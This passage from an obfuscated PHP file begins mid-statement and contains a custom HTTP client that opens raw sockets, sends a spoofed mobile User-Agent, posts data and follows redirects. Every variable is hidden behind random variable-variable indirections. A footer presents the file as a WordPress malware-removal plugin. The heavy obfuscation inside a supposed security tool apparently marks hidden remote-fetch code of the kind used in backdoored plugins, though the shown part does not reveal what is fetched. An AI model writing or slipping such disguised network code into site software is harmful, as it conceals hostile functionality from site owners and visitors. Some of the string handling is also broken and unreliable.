= isset(${$GLOBALS["oskxmumr"]}["timeout"]) ? ${$zkiwgqct}["timeout"] : 30; if (!isset(${$GLOBALS["oskxmumr"]}["return"])) { ${$GLOBALS["oskxmumr"]}["return"] = "content"; } ${$GLOBALS["zjywnhwxotvt"]} = $url["scheme"] == "https" ? "ssl://" : ""; ${$GLOBALS["coootxufe"]} = @fsockopen(${$ekhudpngpj} . ${$nnggdbqtiiri}["host"], $port, ${$GLOBALS["phrmtb"]}, ${$GLOBALS["enbclnkoe"]}, $timeout); if (${$GLOBALS["coootxufe"]}) { $GLOBALS["igthbruhl"] = "request"; $GLOBALS["njhbhhbdbq"] = "fp"; $wkhysqbnk = "params"; $aknvlyh = "headers"; $GLOBALS["tvwkwuuuk"] = "params"; $GLOBALS["ibkkspbmt"] = "request"; $qyfswp = "params"; $ejsvfedj = "request"; $GLOBALS["bbgjpbcgoklg"] = "fp"; $bokemsg = "fp"; $GLOBALS["inypfvsjlw"] = "request"; $GLOBALS["rqqxoxvyys"] = "request"; if (!isset($params["User-Agent"])) { $params["User-Agent"] = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16"; } ${$GLOBALS["hpyivobnrj"]} = "{$params['method']} {$url['path']} HTTP/1.0\r\n"; $cislxaeghie = "res"; $vlvurmhxkacz = "params"; ${$ejsvfedj} .= "Host: {$url['host']}\r\n"; $sslltsx = "h_detected"; $request .= "User-Agent: {$params['User-Agent']}" . "\r\n"; if (isset(${$GLOBALS["oskxmumr"]}["referer"])) { $request .= "Referer: {$params['referer']}\r\n"; } if (isset(${$wkhysqbnk}["cookie"])) { $sbgtmjduxylu = "params"; ${$GLOBALS["steskmdcwid"]} = ""; $nbcerf = "params"; if (is_array(${$sbgtmjduxylu}["cookie"])) { $GLOBALS["fgdmpykghgfn"] = "cookie"; $GLOBALS["tiefvytggpmc"] = "cookie"; foreach (${$GLOBALS["oskxmumr"]}["cookie"] as ${$GLOBALS["pqpglmndfcz"]} => ${$GLOBALS["tjgxhn"]}) { $cookie .= "{$k}={$v}; "; } $cookie = substr(${$GLOBALS["steskmdcwid"]}, 0, 2); } else { ${$GLOBALS["steskmdcwid"]} = ${$nbcerf}["cookie"]; } if (${$GLOBALS["steskmdcwid"]} != "") { ${$GLOBALS["hpyivobnrj"]} .= "Cookie: {$cookie}\r\n"; } } ${$GLOBALS["hpyivobnrj"]} .= "Connection: close\r\n"; if (${$vlvurmhxkacz}["method"] == "POST") { $lhzethz = "params"; $GLOBALS["crotonhkk"] = "request"; if (isset($params["data"]) && is_array(${$GLOBALS["oskxmumr"]}["data"])) { $GLOBALS["oegiggblewp"] = "k"; $GLOBALS["kqqbnyu"] = "data"; $GLOBALS["khdijs"] = "data"; $GLOBALS["aqtfnev"] = "data"; $etqhmbx = "v"; foreach (${$GLOBALS["oskxmumr"]}["data"] as $k => $v) { $data .= urlencode(${$GLOBALS["pqpglmndfcz"]}) . "=" . urlencode(${$GLOBALS["tjgxhn"]}) . "&"; } $GLOBALS["mgentqtug"] = "data"; if (substr($data, 1) == "&") { $data = substr($data, 0, 1); } } ${$GLOBALS["zhztxoetqsqo"]} .= "\r\n\r\n"; $gjdxkphwk = "data"; ${$GLOBALS["hpyivobnrj"]} .= "Content-type: application/x-www-form-urlencoded\r\n"; $request .= "Content-length: " . strlen(${$gjdxkphwk}) . "\r\n"; } $GLOBALS["vpxcqytnei"] = "params"; $request .= "\r\n"; if ($params["method"] == "POST") { ${$GLOBALS["hpyivobnrj"]} .= ${$GLOBALS["zhztxoetqsqo"]}; } @fwrite(${$bokemsg}, $request); ${$cislxaeghie} = ""; ${$aknvlyh} = ""; ${$sslltsx} = false; while (!@feof($fp)) { $zsjbikydg = "h_detected"; $GLOBALS["povxcejgo"] = "res"; $res .= @fread(${$GLOBALS["coootxufe"]}, 1024); if (!$h_detected && strpos(${$GLOBALS["crnoxknfbls"]}, "\r\n\r\n") !== FALSE) { $GLOBALS["qahqtwdv"] = "params"; $nfwifjk = "res"; $GLOBALS["lgpbessaaiyt"] = "res"; $rrieyibzvdf = "h_detected"; $GLOBALS["rpmmhjire"] = "res"; $njhwthxufr = "params"; $h_detected = true; $gahcriljzhp = "res"; $llizdweee = "headers"; $bpgdomcwmq = "res"; ${$GLOBALS["wqskiiajhy"]} = substr($res, 0, strpos($res, "\r\n\r\n")); ${$bpgdomcwmq} = substr($res, strpos(${$nfwifjk}, "\r\n\r\n") + 4); $GLOBALS["fetvvjlrzj"] = "params"; if ($params["return"] == "headers" || ${$GLOBALS["oskxmumr"]}["return"] == "array" || isset(${$njhwthxufr}["redirect"]) && $params["redirect"] == true) { $cfvpjkffch = "headers"; $GLOBALS["xclibpg"] = "headers"; $djudhoerejh = "v"; ${$GLOBALS["gisvqqmviww"]} = explode("\r\n", $headers); ${$cfvpjkffch} = array(); foreach (${$GLOBALS["gisvqqmviww"]} as ${$GLOBALS["pqpglmndfcz"]} => ${$djudhoerejh}) { $GLOBALS["xvdsulpksi"] = "v"; $vjdkllhupfnx = "v"; if (strpos($v, ":")) { $GLOBALS["kvxshmqfxpq"] = "v"; $algdhknfslx = "v"; ${$GLOBALS["pqpglmndfcz"]} = substr($v, 0, strpos($v, ":")); ${$GLOBALS["tjgxhn"]} = trim(substr(${$GLOBALS["tjgxhn"]}, strpos(${$GLOBALS["tjgxhn"]}, ":") + 1)); } $GLOBALS["jibqdnndmla"] = "k"; $GLOBALS["mdlsspaum"] = "headers"; $headers[strtoupper($k)] = $v; } } if (isset(${$GLOBALS["oskxmumr"]}["redirect"]) && ${$GLOBALS["oskxmumr"]}["redirect"] == true && isset(${$GLOBALS["wqskiiajhy"]}["LOCATION"])) { $uyrcjxyarx = "params"; $params["url"] = ${$GLOBALS["wqskiiajhy"]}["LOCATION"]; if (!isset(${$GLOBALS["oskxmumr"]}["redirect-count"])) { ${$GLOBALS["oskxmumr"]}["redirect-count"] = 0; } if (${$GLOBALS["oskxmumr"]}["redirect-count"] < 10) { $ruyuurq = "func"; $GLOBALS["frdqwi"] = "func"; $lcuqhep = "params"; ${$GLOBALS["oskxmumr"]}["redirect-count"]++; ${$GLOBALS["uonyygb"]} = "custom_http_request1"; return @is_object($this) ? $this->{$func}(${$GLOBALS["oskxmumr"]}) : ${$ruyuurq}(${$lcuqhep}); } } if (${$GLOBALS["oskxmumr"]}["return"] == "headers") { return ${$llizdweee}; } } } @fclose($fp); } else { return FALSE; } if ($params["return"] == "array") { ${$GLOBALS["crnoxknfbls"]} = array("headers" => ${$GLOBALS["wqskiiajhy"]}, "content" => ${$lrfewa}); } return ${$GLOBALS["crnoxknfbls"]}; }
Malware detection & removal plugin for WordPress
(C)2020 Wordpress Doctor All rights reserved.